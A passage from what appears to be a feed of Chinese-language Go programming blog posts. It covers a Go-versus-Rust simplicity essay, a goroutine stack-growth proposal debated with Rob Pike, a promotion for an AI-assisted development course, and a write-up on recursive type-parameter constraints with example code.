2025 密码学年度报告：后量子时代的防御与 FIPS 的“纯 Go”革命"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/21/why-go-is-quietly-doing-what-rust-couldnt-staying-simple\n大家好，我是Tony Bai。\n近日，一篇题为《为什么 Zig 在悄悄地做 Rust 做不到的事：保持简单》的文章在开发者社区引发了热议。文章以其辛辣、富有煽动性的文风，将 Zig 描绘成 Rust 复杂性的“解毒剂”，是“一个终于接受了心理治疗的 C 项目”，并引发了关于“简单性”与“安全性”的深刻辩论。\n这不禁让我们——作为 Go 社区的观察者——产生了一个有趣的想法：如果我们将文中的主角 Zig，完全替换为 Go，这篇文章的论点是否依然成立？\nGo 语言，在其诞生之初，同样被视为对 C++ 等语言复杂性的“反叛”。它与 Zig 在追求编译速度、二进制简洁性以及“显式优于隐式”的哲学上，有着惊人的相似之处。\n于是，我们进行了一次大胆的“思想实验”：在保留原文犀利风格和核心论证结构的前提下，将所有关于 Zig 的部分都替换为 Go，并将代码示例“翻译”为地道的 Go 代码。\n这并非意在挑起 Go 与 Rust 之间的“战争”，而是希望通过这样一次“角色扮演”，从一个全新的、极具张力的视角，来重新审视 Go 语言的设计哲学，以及它在现代编程语言光谱中所占据的那个独特、宝贵且时常被误解的位置。\n以下，便是这次思想实验的成果。各位小伙伴儿品一品，这样替换后，是不是不仅完美地道出了 Go 在“简单”与“显式”上的坚持，更说出了许多 Gopher 心里想说，却又不好意思直接对 Rust 爱好者说出口的‘真心话’？\nRust 对安全性大声疾呼。Go 只是把它构建了进去——没有那些仪式感、没有那些说教、也没有那 15 分钟的编译时间。\n引子 我第一次写 Go 代码的时候，忍不住笑出声来。不是因为它好笑——而是因为我不敢相信，在现代编程世界里，还存在着如此……安静的东西。\n在与 Rust “搏斗”多年之后——那门承诺将我们从 C 的苦海中拯救出来，却不知怎的变成了一场性格测试的语言——Go 感觉就像是 Rust 霓虹闪烁的都市中心里，一间温暖、极简的小木屋。\n而这，正是关键所在。\nGo 并非试图成为未来。它只是想保持理智。\nRust 承诺了天堂，却给了我们一堆文书工作 还记得那股炒作的热潮吗？Rust 是“C 语言杀手”，是内存安全的“弥赛亚”，是系统编程的“救世主”。\n平心而论，Rust 确实……算是兑现了。你可以写出快如闪电的安全代码——在你向借用检查器献祭了三只山羊和整个周末的心智健全之后。\n你看着这样的代码：\n// Rust fn main() { let mut data = vec![1, 2, 3]; let ref1 = \u0026amp;data; data.push(4); // 借用检查器：“凡人，你不能这么做。” println!(\u0026#34;{:?}\u0026#34;, ref1); } 你会想，为什么？为什么我的编译器听起来像我的前任在解释情感边界？\nRust 像一个严厉的治疗师一样教你所有权。而 Go 呢，只是耸耸肩说：“你搞坏了，你修好它。”\n这就是哲学的分水岭。Rust 假设你不可信。Go 假设你是个成年人。\nRust 的才华毋庸置疑——安全、并发、无畏的重构。但它也……让人筋疲力尽。那些仪式感。那些工具链。那种将过度工程伪装成纯粹性的文化。\n而 Go 呢，穿着连帽衫，拿着半个三明治出现，说：“嘿，想不想直接把该死的二进制文件构建出来？”\n无聊之美 这是大多数人忽略的一点：简单不是一个特性。它是一种反叛。\nGo 看起来很无聊。感觉也很无聊。读起来就像一个终于接受了心理治疗的 C 项目。\n// Go package main import \u0026#34;fmt\u0026#34; func main() { fmt.Println(\u0026#34;Hello, World!\u0026#34;) } 就是这样。没有宏。没有 build.rs。没有 Cargo 尖叫着说哪个 crate 过期了。\n仅仅。一个。编译器。\n其底层呢？一个能让你团队喜极而泣的设计：\n没有隐藏的控制流。 没有未定义行为。 ** 没有运行时的“惊吓” (No runtime surprises)**。（即，没有像 JIT 或复杂后台进程那样，会产生不可预测行为的“魔法”运行时） 一个像钟表一样精确工作的确定性构建系统。 你可以去读 Go 编译器的源码，并且真的能读懂它。你去试试读 Rust 的编译器源码，那你需要咖啡因、心理治疗和一个祈祷小组。\nGo 不性感。它很实用。它是那种你会忘记你正在使用的语言——而这，是最高的赞美。\nRust 扩展了代码库，Go 扩展了人类 说实话吧——Rust 最大的优点也是它最大的诅咒：它迫使你思考。不停地思考。\n每一行代码都是一场关于生命周期、可变性和宇宙正义的哲学辩论。\nGo 呢？Go 就像是说：“嘿，这是内存。别把自己捅了就行。” (笔者注：Go是GC语言，这句直接替换zig后的表达可能不是很契合)\n这很重要。尤其是在团队中。\nRust 感觉像学术界——人们在 Slack 上辩论着 monad，而功能的截止日期却在悄悄溜走。Go 感觉像那个穿着脏兮兮运动鞋、代码却能跑起来的初创公司工程师。\n在 Swiggy 这样的规模下，Go 取代了 Java 后端，因为它扩展了开发团队。Go 也许正在悄悄地为系统编程做同样的事情——不是因为它“更好”，而是因为它更人性化。 (笔者注：由于有特定背景局限，这里将zig替换为Go后可能也不是很契合了)\n你不需要一块精神白板来在脑中记住 12 条借用规则。你只需要……写。\n讽刺的转折：Go 才是 Rust 假装要成为的样子 Rust 将自己营销为“安全的系统编程”。但它实际上是——一个系统框架。\nCargo、crates、宏、过程魔法——这是一个生态系统，而不是一门语言。华丽，但沉重。\nGo 把所有这些都剥离了。\n没有依赖爆炸。没有语言版本混乱。没有每夜构建的轮盘赌。\n最关键的是——Go 的构建系统是如此集成，如此具有确定性，以至于整个 CI/CD 的设置都感觉更清爽了。\nRust 像一座现代大教堂一样构建。Go 像一条工具腰带一样构建。\n“Go 不试图保护你。它试图赋予你力量。”\n这就是那场安静的反叛。Go 相信你知道自己在做什么——它只给你足够的绳子让你把事情绑在一起，而不是让你上吊。\n而讽刺的是什么？Go 中那些“不安全”的部分，在实践中往往最终更安全，因为你能看到一切。没有魔法。没有语法糖。只有原始的意图。\n当炒作退去，简单性胜出 每个技术周期都以同样的方式结束。\n炒作机器火力全开。Medium 上的文章成倍增加。Meme 如潮水般涌来。然后有一天——凌晨两点，生产环境着火了，你只想知道为什么该死的二进制文件崩溃了。\nRust 给了你安全。但 Go 给了你清晰。\n// Go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; ) func main() { file, err := os.Create(\u0026#34;output.txt\u0026#34;) if err != nil { // 你能清晰地看到错误处理 panic(err) } defer file.Close() _, err = file.WriteString(\u0026#34;Explicit is better than implicit.\u0026#34;) if err != nil { panic(err) } } 你简直可以追踪到每一个字节。没有隐藏的分配器。没有神秘之处。\n这正是老派 C 开发者所怀念的那种控制感——但现代开发者却忘记了自己也需要这种感觉。\n这场安静革命的教训 简单是一种权力。你的语言越可预测，你付出的认知税就越少。 安全不是舒适。Rust 让你感到安全，但筋疲力尽。Go 让你感到暴露，但一切尽在掌握。 你不需要另一个抽象。你需要更少的抽象。 有时，无聊会赢。因为无聊的东西能扩展、能调试、能交付。 最后的思考 Rust 将继续演进。它配得上它的王座。但在某个地方，有一支小团队正在用 Go 构建——没有炒作，没有技术大会演讲，没有花哨的市场营销。\n只是在悄悄地编写着那些永不崩溃、编译只需几秒、在生产环境中如幽灵般运行的干净的二进制文件。\n这就是没人预见到的转折。Go 并非在与 Rust 的未来竞争。它在复活编程的过去——我们早已遗忘的那些美好部分。\n而且，也许，仅仅是也许，这就是它最终获胜的方式。\n资料链接：https://freedium-mirror.cfd/@daxx5/why-zig-is-quietly-doing-what-rust-couldnt-staying-simple-a47f86b3a58a\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/21/why-go-is-quietly-doing-what-rust-couldnt-staying-simple/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/why-go-is-quietly-doing-what-rust-couldnt-staying-simple-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/21/why-go-is-quietly-doing-what-rust-couldnt-staying-simple\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/21/why-go-is-quietly-doing-what-rust-couldnt-staying-simple\"\u003ehttps://tonybai.com/2025/11/21/why-go-is-quietly-doing-what-rust-couldnt-staying-simple\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近日，一篇题为《\u003ca href=\"https://freedium-mirror.cfd/@daxx5/why-zig-is-quietly-doing-what-rust-couldnt-staying-simple-a47f86b3a58a\"\u003e为什么 Zig 在悄悄地做 Rust 做不到的事：保持简单\u003c/a\u003e》的文章在开发者社区引发了热议。文章以其辛辣、富有煽动性的文风，将 Zig 描绘成 Rust 复杂性的“解毒剂”，是“一个终于接受了心理治疗的 C 项目”，并引发了关于“简单性”与“安全性”的深刻辩论。\u003c/p\u003e","title":"为什么 Go 在悄悄地做 Rust 做不到的事：保持简单"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/20/proposal-improve-goroutine-stack-using-page-faults\n大家好，我是Tony Bai。\nGo 语言的 goroutine 以其轻量和高效著称，而其背后一个关键的“魔法”便是可动态增长的栈 (Resizable Stacks)。然而，支撑这个魔法的机制——在几乎每个函数入口处插入的“栈检查”指令——也并非毫无代价。\n近日，在 golang-nuts 邮件组，一位名叫 Arseny Samoylov 的年轻开发者发起了一场引人深思的讨论，提出了一个颇具“革命性”的提案：我们能否借鉴 Linux 内核管理线程栈的方式，用“缺页中断”(Page Faults) 机制来取代 Go 现有的“栈检查”？\n这个旨在挑战 Go 运行时基石的大胆设想，引来了 Go 语言联合创始人 Rob Pike 的亲自下场。本文中，我们就来简单看看这个看似优雅的提案，为何会引来社区的质疑，并最终被 Rob Pike 本人以“实现过于复杂”为由，泼上一盆“冷水”。\n现状的“痛点”——无处不在的“栈检查” 在深入新提案之前，我们必须先理解 Go 当前的栈增长机制及其代价。\n当前，Go 编译器会在几乎每一个非叶子函数的序言 (prologue) 部分，插入几条特殊的指令。这些指令的作用是在函数开始执行前，检查当前 goroutine 的剩余栈空间是否足够。如果不足，运行时 (runtime.morestack) 就会介入：分配一个更大的新栈，将旧栈的内容复制过去，调整所有指向栈上变量的指针，然后才继续执行函数。\n提案者指出的当前机制的两大痛点：\nCPU 开销：频繁的栈检查本身就是一种 CPU 开销，尤其是在调用链很深或存在大量无法内联的间接调用（如接口方法调用）时。 代码体积膨胀：每个函数都增加了额外的序言指令（提案者估计约 10 条指令），这会增加 L1 指令缓存 (L1i Cache) 的压力，对计算密集型任务的性能产生负面影响。 基于此，提案者估计，消除栈检查可能会为真实的 Go 应用带来 3% – 5% 的性能提升。\n“革命”的设想——通过“缺页中断”实现栈增长 Arseny Samoylov 的提案，其灵感源自现代操作系统（如 Linux）管理原生线程栈的方式。\n核心思想：\n在创建一个 goroutine 时，不再只分配一个很小的物理内存（当前为 2KB），而是为其预留 (reserve) 一大块虚拟地址空间（例如 8MB），但不立即分配物理内存。 在这块虚拟地址空间的末尾，设置一个**“警戒页”(Guard Page)**，标记为不可访问。 移除编译器插入的所有“栈检查”指令。 当 goroutine 的栈增长，触及到未分配的内存页时，会触发一次缺页中断 (Page Fault)。操作系统内核会捕获这个中断，并“懒惰地”为其分配一页新的物理内存。 当 goroutine 的栈增长到极致，最终触及到那个“警戒页”时，Go 运行时捕获这个特定的信号，此时才执行现有的栈扩容逻辑。 这个设计的精妙之处在于，它将持续的、遍布每个函数的“栈检查”开销，转变成了仅在栈空间真正耗尽时才发生的一次性、代价较高的“异常处理”。\n社区的讨论——一场关于性能、复杂性与可行性的权衡 这个看似优雅的方案，立刻引发了社区开发者的辩论。经验丰富的工程师们很快指出了这个方案背后隐藏的巨大挑战：\n中断处理的巨大开销：Jason E. Aten 指出，处理一次缺页中断并由信号处理器接管，其过程极其缓慢。它涉及至少 4 次昂贵的上下文切换（用户态 -\u0026gt; 内核态 -\u0026gt; 信号处理器 -\u0026gt; 内核态 -\u0026gt; 用户态）。这个开销，可能远高于 Go 运行时目前高效的内存分配器。 区分“好”与“坏”的中断：Go 运行时如何能精确地区分出，一次缺页中断是因为“栈需要正常增长”，还是因为一个真正的 Bug（如 nil 指针解引用）？这是一个极其棘手的问题。 虚拟地址空间的消耗：虽然 64 位系统的虚拟地址空间极其巨大，但为每一个 goroutine 都预留 8MB，依然是一个不小的负担。10 万个 goroutine 将消耗 800GB 的虚拟地址空间。 最小栈的增加：最小的物理内存分配单位是一个页（通常是 4KB）。这意味着 goroutine 的最小栈大小将从 2KB 翻倍到 4KB，对于那些拥有数百万个小 goroutine 的应用，这可能会导致物理内存消耗翻倍。 Rob Pike 的“劝退”——来自创始人的最终裁决 当讨论进入白热化时，Go 语言的联合创始人 Rob Pike 亲自下场，给出了他的最终点评。他的观点，冷静而深刻，几乎为这场辩论画上了句号。\n首先，他认为提案者夸大了“栈检查”的成本：\n“我相信你夸大了（栈检查的）成本。它是可测量的，但并没有你说的那么严重。并且，随着函数内联越来越普遍，函数的体积变大，摊销后的实际成本都在降低。”\n更重要的是，他指出了这个提案在工程上的历史困境，这正是“劝退”的核心理由：\n“此外，在过去，使用内核traps 来实现栈增长一直都问题重重。我曾见过其他系统尝试这样做，但最终都因为无法预见的复杂性而放弃了。我不是说这做不到，但这绝非易事。而且，由于细节依赖于架构和操作系统，要做到可移植性非常困难。”\n最后，他给出了一个简洁而有力的结论：\n“这事不归我管，但我不会这么做。”\n(It’s not up to me, but I wouldn’t do this.)\n小结：永不停歇的探索，Go 演进的生命力 这场关于 goroutine 栈的“革命”提案，最终在创始人的“劝退”中似乎逐渐平息。然而，将此视为一次简单的“失败”，或许会错失其更深远的意义。\nRob Pike 的点评，以其数十年的工程经验和对复杂性的深刻洞察，为这个提案的技术路径亮起了警示的红灯。他指出的**“无法预见的复杂性”和“难以解决的可移植性”**，是任何试图修改语言运行时的工程师都必须敬畏的“冰山”。\n然而，无论这位提案者 Arseny Samoylov 最终是选择接受劝告，还是不顾一切地继续探索并拿出概念验证 (PoC)，这场讨论本身，对 Go 社区而言，都是一件弥足珍贵的好事，它完美地体现了 Go 社区的生命力所在。\nGo 语言的演进，正是在这种“大胆设想”与“审慎权衡”的持续张力中，稳步前行的。\n资料链接：https://groups.google.com/g/golang-nuts/c/q3iZk0phN9E\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/20/proposal-improve-goroutine-stack-using-page-faults/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/proposal-improve-goroutine-stack-using-page-faults-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/20/proposal-improve-goroutine-stack-using-page-faults\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/20/proposal-improve-goroutine-stack-using-page-faults\"\u003ehttps://tonybai.com/2025/11/20/proposal-improve-goroutine-stack-using-page-faults\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 语言的 goroutine 以其轻量和高效著称，而其背后一个关键的“魔法”便是\u003cstrong\u003e可动态增长的栈 (Resizable Stacks)\u003c/strong\u003e。然而，支撑这个魔法的机制——在几乎每个函数入口处插入的“栈检查”指令——也并非毫无代价。\u003c/p\u003e","title":"Goroutine 栈增长机制新提案：用缺页中断替代栈检查？Rob Pike 亲自下场“劝退”"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/20/ai-native-dev-workflow\n大家好，我是Tony Bai。\n最近半年，我发现我的开发日常，正被一种新的“工作流摩擦”所困扰。\n我猜，你可能也感同身受。\n我们在一块屏幕上沉浸于IDE中的Go代码，在另一块屏幕上，则像一个勤奋的“学生”，不断向AI大模型提问。我们从代码库中精心挑选上下文，复制，切换窗口，粘贴，然后带着AI给出的答案，再复制，切换，粘贴回来。\n我们成了AI时代的“上下文搬运工”和“提示词调优师”。\nIDE插件的出现，让AI离我们更近了一步，它像一个“副驾驶”，能为我们提供实时的建议。但它依然无法真正地“动手”——它不能为你运行一次测试，不能帮你执行一次git commit，更无法理解你那套复杂的Makefile里到底藏着什么玄机。\n我们拥抱了AI，却发现自己陷入了一个新的“效率怪圈”。我们与AI的协作，始终是割裂的、被动的、充满摩擦的。\n我一直在思考，这真的是AI时代软件开发的终极形态吗？一定有更好的方式。一定有一种方法，能让AI不再是一个外部的“辅助工具”，而是成为我们开发流程中一个原生的、可指挥的、能动手干活的“核心成员”。\n正是为了系统性地解决这个问题，并把我过去大半年时间的思考、踩坑、实践与沉淀分享出来，我与极客时间合作，倾力打造了一门全新的专栏——《AI原生开发工作流实战：重塑新一代软件工程范式》。\n为什么要写这个专栏？ 因为我相信，软件开发的范式，正在经历一场深刻的革命。\n我们正从“人机协作”的1.0时代，迈向“AI原生”的2.0时代。在这场变革中，开发者的核心价值，将不再仅仅是“写出代码”，而是“设计出能让AI写出高质量代码的工作流”。\n而承载这场革命的最佳载体，正是以Claude Code为代表的新一代命令行AI智能体（Command-line Coding Agent）。它们让AI的能力，以前所未有的深度，“活”进了我们最熟悉的开发环境——终端里。\n但是，拥有强大的工具，和懂得如何驾驭它，是两回事。\n下面是一个AI-开发者集成成熟度模型，你看看你处在哪一层？\n我看到的太多开发者，依然在用L1、L2的思维模式，去使用一个为L3、L4工作流设计的强大智能体。这就像开着一辆F1赛车去买菜，不仅没发挥出它的全部性能，还觉得它“不好开”。\n这个专栏的目标，就是为你提供那本缺失的“F1赛车驾驶手册”。它不是一本简单的工具说明书，而是一套完整的AI原生开发方法论。我将带你一起，从“第一性原理”出发，重新思考和构建我们在AI时代的软件工程实践。\n在这个专栏里，我为你设计了怎样的学习路径？ 为了让你能系统性地完成这次思维和技能的升维，我将专栏精心设计为四个层层递进的模块，它就像一张清晰的“升级打怪地图”：\n模块一：概念篇 · 建立AI原生世界观 在这一模块，我们将首先统一认知。你将深入理解什么是“规范驱动开发（Spec-Driven Development）”，这一AI原生开发的核心引擎。我们还会一起扫描整个命令行AI Agent的生态，并最终明确，我们为什么选择Claude Code作为核心的实战载体，以及如何通过**接入国产大模型（如智普AI）**来解决国内开发者的成本与可用性问题。\n模块二：基础篇 · 掌握与AI伙伴协作的通用语言 我们将从零开始，手把手带你掌握与AI Agent协作的核心交互模型。你将精通上下文的艺术（CLAUDE.md, agents.md, constitution.md），学会如何为AI注入“长期记忆”和项目“宪法”。你还将掌握强大的自定义指令（Slash Commands），开始将你自己的工作流封装为AI可以执行的命令。学完此模块，你将能为任何项目快速定制一套AI‘说明书’，让它秒懂你的代码库。\n模块三：进阶篇 · 将Agent锻造成你的专属神器 这是专栏的“硬核”部分。我们将进入AI Agent的“引擎室”，为你揭示其所有高级特性的工作原理和实战技巧。从安全基石（权限、沙箱、快照回滚），到能力扩展矩阵（Hooks, Skills, Sub-agents, MCP），再到自动化接口（Headless模式），你将学会如何将一个通用AI，彻底“魔改”成一个懂你项目、听你指挥的“专属神器”。学完此模块，你将拥有‘魔改’AI Agent的能力，让它从‘通用模型’变成你的‘专属战友’。\n模块四：实战篇 · 在真实项目中重塑工程实践 这是整个专栏的“毕业大戏”。我们将把前面所有学到的理论和技巧，全部应用到一个从零到一的Go项目构建中。在通过顶层设计建立好你的AI驾驶舱后，你将亲历一个功能，是如何在AI原生工作流的加持下，被一步步地设计（spec.md）、规划（plan.md, tasks.md）、编码（TDD）、审查、交付（CI/CD），乃至最终维护与重构的。这将是你把知识转化为能力的最佳演练场。\n学完这门课，你将获得什么？ 一套前沿的开发方法论： 真正掌握“AI原生开发”与“规范驱动开发”的核心思想，而不仅仅是工具的零散技巧。 一套通用的Coding Agent驾驭技能： 精通上下文注入、自定义工具和技能、自动化编排等核心技巧，无论未来出现什么新的Coding Agent工具，你都能快速上手。 一套可落地的工程实践： 获得AI在需求、设计、TDD、CI/CD、重构等软件工程全流程中的最佳实践和Go语言实战代码。 一次思维模式的升级： 完成从“AI工具使用者”到“AI工作流指挥家”的角色转变，构筑在AI时代的个人核心竞争力。 写在最后：一份“抛砖引玉”的邀请 在策划这门课时，我始终保持着一种敬畏之心。\nClaude Code是2025年2月才正式进入大众视野的，至今也不过大半年的时间。整个命令行Coding Agent领域，都还处在一个高速演进、日新月异的“黎明时代”。我们所有人，包括我在内，都还在“摸着石头过河”。\n因此，这个专栏的内容会更偏向于基础和入门，我希望通过最详尽的示例，为你直观地展现AI原生工作流的巨大潜力。我为你呈现的，更多是我个人在当前阶段探索出的一种可行的工作流，它未必是放之四海而皆准的“最优解”，更谈不上是“终极银弹”。\n我更希望这个专栏，能成为一个“抛砖引玉”的平台。\n我把我这块“砖”抛出来，是希望能引出你——每一位身处一线的优秀开发者——那块更宝贵的“玉”。我非常期待你在课程的评论区，分享你的思考、你的工作流、你的“最佳实践”。\n我相信，关于AI原生开发的未来，最终的答案，一定不是由我一个人，也不是由任何一个AI公司定义的。它将由我们所有拥抱变革、勇于实践的开发者，共同书写。\n让我们一起，成为定义这个新时代开发范式的第一批人。\n现在，这门凝结了我大半年心血的课程 《AI原生开发工作流实战》 已经在极客时间正式上线了！\n专栏为图文形式，共22讲。我为你准备了早鸟优惠 ¥59（原价 ¥99），仅限首周。\n扫描下方二维码，立即订阅\n用一两杯咖啡的钱，投资一次面向未来的思维和技能升级。\n如果你想先了解更详细的课程内容，可以点击「这里」查看专栏的详细目录。\n期待在课程中，与你相遇，共同精进！\n如果本文对你有所帮助，请帮忙点赞、推荐和转发！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/20/ai-native-dev-workflow/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: AI原生开发工作流实战\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/ai-native-dev-workflow-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/20/ai-native-dev-workflow\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/20/ai-native-dev-workflow\"\u003ehttps://tonybai.com/2025/11/20/ai-native-dev-workflow\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近半年，我发现我的开发日常，正被一种新的“工作流摩擦”所困扰。\u003c/p\u003e\n\u003cp\u003e我猜，你可能也感同身受。\u003c/p\u003e\n\u003cp\u003e我们在一块屏幕上沉浸于IDE中的Go代码，在另一块屏幕上，则像一个勤奋的“学生”，不断向AI大模型提问。我们从代码库中精心挑选上下文，复制，切换窗口，粘贴，然后带着AI给出的答案，再复制，切换，粘贴回来。\u003c/p\u003e","title":"还在当“上下文搬运工”？我写了一门课，帮你重塑AI开发工作流"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/19/proposal-remove-cycle-restriction-for-type-parameters\n大家好，我是Tony Bai。\n自 Go 1.18 引入泛型以来，Gopher 们一直在探索其能力的边界。然而，在这片新大陆上，一直存在着一个由语言规范施加的限制，它禁止了一种强大而富有表达力的泛型模式的实现。\n这个限制就是：“在一个泛型类型 T 的类型参数列表中，其约束不能直接或间接地引用 T 自身。”\n近日，由 Go 核心团队的 Robert Griesemer 亲自发起的一个关联提案（NO.75883），旨在移除这个约束。在经过一系列的编译器修复和深度讨论后，最终被标记为 likely accept。这意味着，Go 语言规范中关于泛型“类型参数循环引用”的这条限制，即将在未来的版本中(最早Go 1.26)被正式移除。\n这次微小的语法调整，将为 Go 社区解锁一种被称为“奇异递归模板模式” (Curiously Recurring Template Pattern, CRTP) 的强大能力，并对我们如何设计类型安全的泛型 API 产生深远影响。\n在这篇文章中，我们将深入探讨这一重要变化，剖析其背后的技术原理、核心应用场景等。\n被束缚的表达力——这条限制是什么？ 让我们从一个 Griesemer 提出的、看似合理的代码开始，它在当前版本(比如Go 1.25.4)的 Go 中是非法的：\n// 目标：定义一个“可比较”的元素接口 // E 应该是一个实现了 Element[E] 接口的类型 type Element[E Element[E]] interface { Less(other E) bool } // 编译器报错：invalid recursive type: Element refers to itself // (无效的递归类型) 这段代码的意图非常清晰：我们想定义一个 Element 接口，它有一个 Less 方法，该方法接收的参数 other，其类型 E 必须和实现这个接口的类型是同一个类型。这是一种“自引用”或“递归”的类型约束。\n例如，如果我们有一个 Int 类型：\ntype Int int // 我们希望 Less 的参数是 Int，而不是其他实现了 Element 接口的类型 func (i Int) Less(other Int) bool { return i \u0026lt; other } Element[E Element[E]] 这种约束，正是为了在编译期强制执行这种“同类型比较”的保证。\n然而，由于 Go 1.18 规范中的明确限制，这种优雅的、类型安全的表达方式，在过去几年中一直是一条死路。\n为何需要它？—— CRTP 模式的威力 社区的讨论为我们揭示了这种“循环类型约束”的几个核心应用场景。它们都与 C++ 中的 CRTP(Curiously Recurring Template Pattern) 模式异曲同工。\nRobert Griesemer 在提案中给出了一个经典的例子：如何用泛型来模拟一个数学上的“环”(Ring)。\n// 未来将合法的代码 type Ring[T Ring[T]] interface { Zero() T One() T Add(y T) T Mul(y T) T } Ring[T Ring[T]] 这个约束，确保了 Add 和 Mul 等方法的参数和返回值，永远是实现该接口的具体类型 T，而不是某个其他也实现了 Ring 接口的无关类型。它在编译期就锁定了操作的类型闭环。\nPrometheus 的开发者 Bryan Boreham 在 GopherCon 2023 的演讲中，也遇到了同样的问题。在实现一个通用的 K-路归并树时，他希望定义一个通用的 Value 接口，让放入树的元素自带类型安全的 Less 方法，而不是依赖外部传入的闭包。这不仅能让 API 更简洁，更重要的是，直接的方法调用比闭包调用更容易被编译器内联，从而带来显著的性能提升。\n从“不可能”到“可能”——幕后的编译器修复 这个看似简单的语法限制，为何在 Go 1.18 中被加入，又为何现在可以被移除了？\n答案隐藏在编译器的类型检查和循环检测机制中。在早期，Go 的类型检查器为了防止无限递归（例如 type T T），采用了一套相对保守的循环检测算法。当它遇到 type T[P T[P]] 这种通过类型参数列表形成的“循环依赖”时，会直接将其误判为非法的无限递归。\n在 NO.68162 issue的修复中，Go 团队改进了类型检查器的算法。新的算法能够更智能地区分有害的无限递归（如 type T *T）和无害的、可以在实例化时“展开”的泛型递归约束。\n深度剖析——Griesemer 的“两步实例化”解释 在 #75883 提案的讨论中，一个极其深刻的问题被提出：type T[P T[P]] int 这样的定义，是否会导致无法解决的循环？Robert Griesemer 对此给出了一个权威的、清晰的解释，揭示了 Go 泛型实例化的核心机制。\n他指出，Go 的泛型实例化，严格遵循两个步骤：\n第一步：类型替换 (Substitution) 编译器首先会简单地、机械地将调用方提供的类型实参 (type argument)（例如 int），替换掉泛型定义中的类型形参 (type parameter)（例如 P）。\n// 原始定义 type T[P T[P]] int // 假设我们尝试实例化 T[int] // 第一步替换后，我们得到一个临时的、假想的定义： type T[int T[int]] int 第二步：约束校验 (Verification) 在替换完成后，编译器才会去检查：被替换的类型实参 (int)，是否满足它所对应的类型形参的约束 (T[int])？\n在这个例子中，约束 T[int] 是一个具名非接口类型。根据 Go 的类型规则，只有 T[int] 自身才满足这个约束。而我们传入的 int 显然不是 T[int]。因此，约束校验失败，T[int] 是一次非法的实例化。\n这个“两步走”的过程，清晰地证明了这种递归约束并不会导致无限循环，因为类型检查总能在有限的步骤内终止。正是基于这个坚实的理论基础，Go 团队才有信心去移除最初的限制。\n一个完整的带有循环引用的类型参数的示例 让我们将 Griesemer 提出的 Ring 示例，扩展为一个完整的、在未来版本的 Go 中将可以运行的程序：\npackage main import \u0026#34;fmt\u0026#34; // 1. 定义一个递归约束的泛型接口 type Ring[T Ring[T]] interface { Zero() T One() T Add(y T) T Mul(y T) T } // 2. 实现该接口的具体类型 type MyInt int func (x MyInt) Zero() MyInt { return 0 } func (x MyInt) One() MyInt { return 1 } func (x MyInt) Add(y MyInt) MyInt { return x + y } func (x MyInt) Mul(y MyInt) MyInt { return x * y } // 3. 编写一个操作该泛型接口的通用算法 // scale computes x + y*s func scale[R Ring[R]](x, y, s R) R { return x.Add(y.Mul(s)) } func main() { var a, b, c MyInt = 2, 3, 5 // 4. 调用通用算法，编译器会检查 MyInt 是否满足 Ring[MyInt] 约束 result := scale(a, b, c) fmt.Printf(\u0026#34;scale(2, 3, 5) = %d\\n\u0026#34;, result) // 预期输出: scale(2, 3, 5) = 17 } 让我们剖析一下scale 调用时的实例化过程：\nmain 函数中对 scale(a, b, c) 的调用，完美地展示了“两步实例化”机制是如何工作的：\n第一步：类型推断与替换 (Type Inference \u0026amp; Substitution) * 编译器观察到 scale 函数的调用参数 a, b, c 的类型都是 MyInt。 * 通过类型推断，编译器确定类型实参 (type argument) 就是 MyInt。 * 它将 MyInt 替换掉 scale 函数签名中的类型形参 